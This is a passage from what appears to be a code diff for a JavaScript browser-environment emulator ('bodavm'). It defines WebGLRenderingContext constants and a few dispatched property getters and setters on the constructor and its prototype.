"TEXTURE_CUBE_MAP_POSITIVE_Z", {configurable:false, enumerable:true, writable:false, value:34073}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Z", {configurable:false, enumerable:true, writable:false, value:34074}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_CUBE_MAP_TEXTURE_SIZE", {configurable:false, enumerable:true, writable:false, value:34076}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE0", {configurable:false, enumerable:true, writable:false, value:33984}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE1", {configurable:false, enumerable:true, writable:false, value:33985}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE2", {configurable:false, enumerable:true, writable:false, value:33986}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE3", {configurable:false, enumerable:true, writable:false, value:33987}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE4", {configurable:false, enumerable:true, writable:false, value:33988}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE5", {configurable:false, enumerable:true, writable:false, value:33989}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE6", {configurable:false, enumerable:true, writable:false, value:33990}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE7", {configurable:false, enumerable:true, writable:false, value:33991}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE8", {configurable:false, enumerable:true, writable:false, value:33992}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE9", {configurable:false, enumerable:true, writable:false, value:33993}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE10", {configurable:false, enumerable:true, writable:false, value:33994}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE11", {configurable:false, enumerable:true, writable:false, value:33995}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE12", {configurable:false, enumerable:true, writable:false, value:33996}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE13", {configurable:false, enumerable:true, writable:false, value:33997}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE14", {configurable:false, enumerable:true, writable:false, value:33998}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE15", {configurable:false, enumerable:true, writable:false, value:33999}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE16", {configurable:false, enumerable:true, writable:false, value:34000}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE17", {configurable:false, enumerable:true, writable:false, value:34001}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE18", {configurable:false, enumerable:true, writable:false, value:34002}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE19", {configurable:false, enumerable:true, writable:false, value:34003}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE20", {configurable:false, enumerable:true, writable:false, value:34004}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE21", {configurable:false, enumerable:true, writable:false, value:34005}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE22", {configurable:false, enumerable:true, writable:false, value:34006}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE23", {configurable:false, enumerable:true, writable:false, value:34007}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE24", {configurable:false, enumerable:true, writable:false, value:34008}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE25", {configurable:false, enumerable:true, writable:false, value:34009}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE26", {configurable:false, enumerable:true, writable:false, value:34010}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE27", {configurable:false, enumerable:true, writable:false, value:34011}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE28", {configurable:false, enumerable:true, writable:false, value:34012}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE29", {configurable:false, enumerable:true, writable:false, value:34013}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE30", {configurable:false, enumerable:true, writable:false, value:34014}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE31", {configurable:false, enumerable:true, writable:false, value:34015}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ACTIVE_TEXTURE", {configurable:false, enumerable:true, writable:false, value:34016}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "REPEAT", {configurable:false, enumerable:true, writable:false, value:10497}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CLAMP_TO_EDGE", {configurable:false, enumerable:true, writable:false, value:33071}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MIRRORED_REPEAT", {configurable:false, enumerable:true, writable:false, value:33648}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_VEC2", {configurable:false, enumerable:true, writable:false, value:35664}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_VEC3", {configurable:false, enumerable:true, writable:false, value:35665}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_VEC4", {configurable:false, enumerable:true, writable:false, value:35666}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT_VEC2", {configurable:false, enumerable:true, writable:false, value:35667}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT_VEC3", {configurable:false, enumerable:true, writable:false, value:35668}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT_VEC4", {configurable:false, enumerable:true, writable:false, value:35669}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL", {configurable:false, enumerable:true, writable:false, value:35670}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL_VEC2", {configurable:false, enumerable:true, writable:false, value:35671}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL_VEC3", {configurable:false, enumerable:true, writable:false, value:35672}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL_VEC4", {configurable:false, enumerable:true, writable:false, value:35673}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_MAT2", {configurable:false, enumerable:true, writable:false, value:35674}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_MAT3", {configurable:false, enumerable:true, writable:false, value:35675}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_MAT4", {configurable:false, enumerable:true, writable:false, value:35676}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLER_2D", {configurable:false, enumerable:true, writable:false, value:35678}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLER_CUBE", {configurable:false, enumerable:true, writable:false, value:35680}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_ENABLED", {configurable:false, enumerable:true, writable:false, value:34338}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_SIZE", {configurable:false, enumerable:true, writable:false, value:34339}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_STRIDE", {configurable:false, enumerable:true, writable:false, value:34340}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_TYPE", {configurable:false, enumerable:true, writable:false, value:34341}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_NORMALIZED", {configurable:false, enumerable:true, writable:false, value:34922}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_POINTER", {configurable:false, enumerable:true, writable:false, value:34373}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:34975}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "IMPLEMENTATION_COLOR_READ_TYPE", {configurable:false, enumerable:true, writable:false, value:35738}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "IMPLEMENTATION_COLOR_READ_FORMAT", {configurable:false, enumerable:true, writable:false, value:35739}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COMPILE_STATUS", {configurable:false, enumerable:true, writable:false, value:35713}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LOW_FLOAT", {configurable:false, enumerable:true, writable:false, value:36336}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MEDIUM_FLOAT", {configurable:false, enumerable:true, writable:false, value:36337}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "HIGH_FLOAT", {configurable:false, enumerable:true, writable:false, value:36338}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LOW_INT", {configurable:false, enumerable:true, writable:false, value:36339}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MEDIUM_INT", {configurable:false, enumerable:true, writable:false, value:36340}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "HIGH_INT", {configurable:false, enumerable:true, writable:false, value:36341}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER", {configurable:false, enumerable:true, writable:false, value:36160}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER", {configurable:false, enumerable:true, writable:false, value:36161}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGBA4", {configurable:false, enumerable:true, writable:false, value:32854}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGB5_A1", {configurable:false, enumerable:true, writable:false, value:32855}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGB565", {configurable:false, enumerable:true, writable:false, value:36194}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_COMPONENT16", {configurable:false, enumerable:true, writable:false, value:33189}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_INDEX8", {configurable:false, enumerable:true, writable:false, value:36168}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_STENCIL", {configurable:false, enumerable:true, writable:false, value:34041}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_WIDTH", {configurable:false, enumerable:true, writable:false, value:36162}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_HEIGHT", {configurable:false, enumerable:true, writable:false, value:36163}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_INTERNAL_FORMAT", {configurable:false, enumerable:true, writable:false, value:36164}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_RED_SIZE", {configurable:false, enumerable:true, writable:false, value:36176}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_GREEN_SIZE", {configurable:false, enumerable:true, writable:false, value:36177}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_BLUE_SIZE", {configurable:false, enumerable:true, writable:false, value:36178}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_ALPHA_SIZE", {configurable:false, enumerable:true, writable:false, value:36179}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_DEPTH_SIZE", {configurable:false, enumerable:true, writable:false, value:36180}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_STENCIL_SIZE", {configurable:false, enumerable:true, writable:false, value:36181}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE", {configurable:false, enumerable:true, writable:false, value:36048}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_NAME", {configurable:false, enumerable:true, writable:false, value:36049}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL", {configurable:false, enumerable:true, writable:false, value:36050}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE", {configurable:false, enumerable:true, writable:false, value:36051}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_ATTACHMENT0", {configurable:false, enumerable:true, writable:false, value:36064}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36096}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36128}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_STENCIL_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:33306}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NONE", {configurable:false, enumerable:true, writable:false, value:0}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_COMPLETE", {configurable:false, enumerable:true, writable:false, value:36053}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_INCOMPLETE_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36054}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36055}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_INCOMPLETE_DIMENSIONS", {configurable:false, enumerable:true, writable:false, value:36057}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_UNSUPPORTED", {configurable:false, enumerable:true, writable:false, value:36061}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36006}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36007}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_RENDERBUFFER_SIZE", {configurable:false, enumerable:true, writable:false, value:34024}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_FRAMEBUFFER_OPERATION", {configurable:false, enumerable:true, writable:false, value:1286}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_FLIP_Y_WEBGL", {configurable:false, enumerable:true, writable:false, value:37440}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_PREMULTIPLY_ALPHA_WEBGL", {configurable:false, enumerable:true, writable:false, value:37441}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CONTEXT_LOST_WEBGL", {configurable:false, enumerable:true, writable:false, value:37442}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_COLORSPACE_CONVERSION_WEBGL", {configurable:false, enumerable:true, writable:false, value:37443}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BROWSER_DEFAULT_WEBGL", {configurable:false, enumerable:true, writable:false, value:37444}); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "canvas", {configurable:true, enumerable:true, get:function canvas (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "canvas_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "drawingBufferWidth", {configurable:true, enumerable:true, get:function drawingBufferWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "drawingBufferWidth_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "drawingBufferHeight", {configurable:true, enumerable:true, get:function drawingBufferHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "drawingBufferHeight_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "drawingBufferColorSpace", {configurable:true, enumerable:true, get:function drawingBufferColorSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "drawingBufferColorSpace_get", arguments)}, set:function drawingBufferColorSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "drawingBufferColorSpace_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "unpackColorSpace", {configurable:true, enumerable:true, get:function unpackColorSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "unpackColorSpace_get", arguments)}, set:function unpackColorSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "unpackColorSpace_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_BUFFER_BIT", {configurable:false, enumerable:true, writable:false, value:256},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BUFFER_BIT", {configurable:false, enumerable:true, writable:false, value:1024},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_BUFFER_BIT", {configurable:false, enumerable:true, writable:false, value:16384},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POINTS", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINES", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINE_LOOP", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINE_STRIP", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TRIANGLES", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TRIANGLE_STRIP", {configurable:false, enumerable:true, writable:false, value:5},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TRIANGLE_FAN", {configurable:false, enumerable:true, writable:false, value:6},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ZERO", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SRC_COLOR", {configurable:false, enumerable:true, writable:false, value:768},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_SRC_COLOR", {configurable:false, enumerable:true, writable:false, value:769},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SRC_ALPHA", {configurable:false, enumerable:true, writable:false, value:770},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_SRC_ALPHA", {configurable:false, enumerable:true, writable:false, value:771},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DST_ALPHA", {configurable:false, enumerable:true, writable:false, value:772},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_DST_ALPHA", {configurable:false, enumerable:true, writable:false, value:773},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DST_COLOR", {configurable:false, enumerable:true, writable:false, value:774},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_DST_COLOR", {configurable:false, enumerable:true, writable:false, value:775},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SRC_ALPHA_SATURATE", {configurable:false, enumerable:true, writable:false, value:776},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FUNC_ADD", {configurable:false, enumerable:true, writable:false, value:32774},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_EQUATION", {configurable:false, enumerable:true, writable:false, value:32777},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_EQUATION_RGB", {configurable:false, enumerable:true, writable:false, value:32777},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_EQUATION_ALPHA", {configurable:false, enumerable:true, writable:false, value:34877},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FUNC_SUBTRACT", {configurable:false, enumerable:true, writable:false, value:32778},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FUNC_REVERSE_SUBTRACT", {configurable:false, enumerable:true, writable:false, value:32779},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_DST_RGB", {configurable:false, enumerable:true, writable:false, value:32968},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_SRC_RGB", {configurable:false, enumerable:true, writable:false, value:32969},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_DST_ALPHA", {configurable:false, enumerable:true, writable:false, value:32970},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_SRC_ALPHA", {configurable:false, enumerable:true, writable:false, value:32971},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CONSTANT_COLOR", {configurable:false, enumerable:true, writable:false, value:32769},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_CONSTANT_COLOR", {configurable:false, enumerable:true, writable:false, value:32770},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CONSTANT_ALPHA", {configurable:false, enumerable:true, writable:false, value:32771},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ONE_MINUS_CONSTANT_ALPHA", {configurable:false, enumerable:true, writable:false, value:32772},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND_COLOR", {configurable:false, enumerable:true, writable:false, value:32773},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ARRAY_BUFFER", {configurable:false, enumerable:true, writable:false, value:34962},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ELEMENT_ARRAY_BUFFER", {configurable:false, enumerable:true, writable:false, value:34963},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ARRAY_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:34964},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ELEMENT_ARRAY_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:34965},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STREAM_DRAW", {configurable:false, enumerable:true, writable:false, value:35040},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STATIC_DRAW", {configurable:false, enumerable:true, writable:false, value:35044},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DYNAMIC_DRAW", {configurable:false, enumerable:true, writable:false, value:35048},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BUFFER_SIZE", {configurable:false, enumerable:true, writable:false, value:34660},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BUFFER_USAGE", {configurable:false, enumerable:true, writable:false, value:34661},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CURRENT_VERTEX_ATTRIB", {configurable:false, enumerable:true, writable:false, value:34342},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRONT", {configurable:false, enumerable:true, writable:false, value:1028},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BACK", {configurable:false, enumerable:true, writable:false, value:1029},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRONT_AND_BACK", {configurable:false, enumerable:true, writable:false, value:1032},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_2D", {configurable:false, enumerable:true, writable:false, value:3553},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CULL_FACE", {configurable:false, enumerable:true, writable:false, value:2884},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLEND", {configurable:false, enumerable:true, writable:false, value:3042},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DITHER", {configurable:false, enumerable:true, writable:false, value:3024},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_TEST", {configurable:false, enumerable:true, writable:false, value:2960},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_TEST", {configurable:false, enumerable:true, writable:false, value:2929},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SCISSOR_TEST", {configurable:false, enumerable:true, writable:false, value:3089},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POLYGON_OFFSET_FILL", {configurable:false, enumerable:true, writable:false, value:32823},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_ALPHA_TO_COVERAGE", {configurable:false, enumerable:true, writable:false, value:32926},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_COVERAGE", {configurable:false, enumerable:true, writable:false, value:32928},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NO_ERROR", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_ENUM", {configurable:false, enumerable:true, writable:false, value:1280},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_VALUE", {configurable:false, enumerable:true, writable:false, value:1281},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_OPERATION", {configurable:false, enumerable:true, writable:false, value:1282},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "OUT_OF_MEMORY", {configurable:false, enumerable:true, writable:false, value:1285},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CW", {configurable:false, enumerable:true, writable:false, value:2304},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CCW", {configurable:false, enumerable:true, writable:false, value:2305},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINE_WIDTH", {configurable:false, enumerable:true, writable:false, value:2849},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALIASED_POINT_SIZE_RANGE", {configurable:false, enumerable:true, writable:false, value:33901},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALIASED_LINE_WIDTH_RANGE", {configurable:false, enumerable:true, writable:false, value:33902},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CULL_FACE_MODE", {configurable:false, enumerable:true, writable:false, value:2885},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRONT_FACE", {configurable:false, enumerable:true, writable:false, value:2886},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_RANGE", {configurable:false, enumerable:true, writable:false, value:2928},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:2930},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_CLEAR_VALUE", {configurable:false, enumerable:true, writable:false, value:2931},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_FUNC", {configurable:false, enumerable:true, writable:false, value:2932},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_CLEAR_VALUE", {configurable:false, enumerable:true, writable:false, value:2961},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_FUNC", {configurable:false, enumerable:true, writable:false, value:2962},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_FAIL", {configurable:false, enumerable:true, writable:false, value:2964},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_PASS_DEPTH_FAIL", {configurable:false, enumerable:true, writable:false, value:2965},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_PASS_DEPTH_PASS", {configurable:false, enumerable:true, writable:false, value:2966},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_REF", {configurable:false, enumerable:true, writable:false, value:2967},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_VALUE_MASK", {configurable:false, enumerable:true, writable:false, value:2963},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:2968},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_FUNC", {configurable:false, enumerable:true, writable:false, value:34816},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_FAIL", {configurable:false, enumerable:true, writable:false, value:34817},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_PASS_DEPTH_FAIL", {configurable:false, enumerable:true, 